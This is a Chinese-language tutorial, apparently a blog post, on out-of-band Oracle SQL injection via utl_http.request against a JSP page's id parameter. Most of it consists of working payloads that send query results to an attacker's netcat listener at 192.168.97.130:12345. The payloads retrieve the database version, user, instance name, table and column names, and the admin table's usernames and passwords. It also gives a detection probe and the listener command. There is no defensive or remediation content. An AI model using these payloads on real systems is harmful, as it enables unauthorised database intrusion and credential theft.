我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、Oracle+JSP utl_http.request 反弹注入
1、应用场景:
通过utl_http.request我们可以将查询的结果通过一个端口发送到自己的远程服务器上(注意自己的远程服务器要提前开启侦听该端口),一般在盲注的时候使用!!!
2、应用限制:
(1)要使用该方法用户需要有utl_http访问网络的权限。
(2)自己的远程服务器提前开启端口侦听。
3、检测是否支持utl_http.request
(1)检测的poc:?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
(2)poc提交后,若页面返回正常,则证明支持utl_http.request
4、远程服务器开启侦听:NC瑞士军刀
(1)语法:nc -lvvp 未占用端口
(2)示例:nc -lvvp 12345
5、反弹注入命令
(1)反弹注入的payload:?id=1 and utl_http.request('http://自己的远程服务器的域名或者ip:端口/'%7C%7C(注入的语句))=1-- # 其中的%7C%7C表示的是||的URL编码
(2)可注入的SQL语句:
(1)获取当前数据库版本:select banner from sys.v_$version where rownum=1
(2)获取当前用户:select user from dual
(3)获取日志文件位置:select member from v$logfile where rownum=1
(4)获取Oracle服务器监听IP:select utl_inaddr.get_host_address from dual
(5)获取Oracle服务器sid实例名称(远程连接该服务的时候可能会需要):select instance_name from v$instance
(6)获取当前连接用户:select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual
(7)定位文件位置:select name FROM V$DATAFILE
(8)查库名:select owner from all_tables where rownum=1
(9)查库名(排除SYS库):select owner from all_tables where rownum=1 and owner <>'SYS'
(10)查表名:select table_name from user_tables where rownum=1
(11)查表面(排除ADMIN表):select table_name from user_tables where rownum=1 and table_name<>'ADMIN'
(12)查列名:select column_name from user_tab_columns where table_name='ADMIN' and rownum=1
(13)查列名(排除ID列):select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'
二、utl_http.request 反弹注入示例
1、自己的远程服务器开启端口侦听
(1)开启侦听12345端口:nc -vvlp 12345
2、反弹注入:库名、表名、字段名、数据
(1)反弹Oracle版本信息-payload1:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select banner from sys.v_$version where rownum=1))=1--
(2)反弹Oracle当前用户-payload2:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select user from dual))=1--
(3)反弹Oracle日志文件-payload3:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select member from v$logfile where rownum=1))=1--
(4)反弹Oracle服务器的sid实例名称-payload4:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select instance_name from v$instance))=1--
(5)反弹Oracle的库名-payload5:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select owner from all_tables where rownum=1))=1--
(6)反弹Oracle的库名(排除SYS库)-payload6:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select owner from all_tables where rownum=1 and owner <>'SYS'))=1--
(7)反弹Oracle表名-payload7:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select table_name from user_tables where rownum=1))=1--
(8)反弹Oracle表名(排除前四个表)-payload8:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select table_name from user_tables where rownum=1 and table_name<>'LOGMNR_SESSION_EVOLVE$' and table_name<>'LOGMNR_GLOBAL$' and table_name<>'LOGMNR_GT_TAB_INCLUDE$'))=1--
(9)反弹Oracle列名-payload9:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1))=1--
(10)反弹Oracle列名(排除ID列)-payload10:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'))=1--
(11)反弹Oracle的ADMIN表的username和password字段值-payload11:?id=1 and utl_http.request('http://192.168.97.130:12345/'%7C%7C(select username%7C%7Cpassword from admin))=1--
3、总结:
(1)检测的poc:?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
(2)自己的远程服务器开启侦听的nc语法:nc -lvvp 某个未占用端口
(3)反弹注入的payload:?id=1 and utl_http.request('http://自己的远程服务器的域名或者ip:自己的远程服务器的侦听端口/'%7C%7C(注入的语句))=1--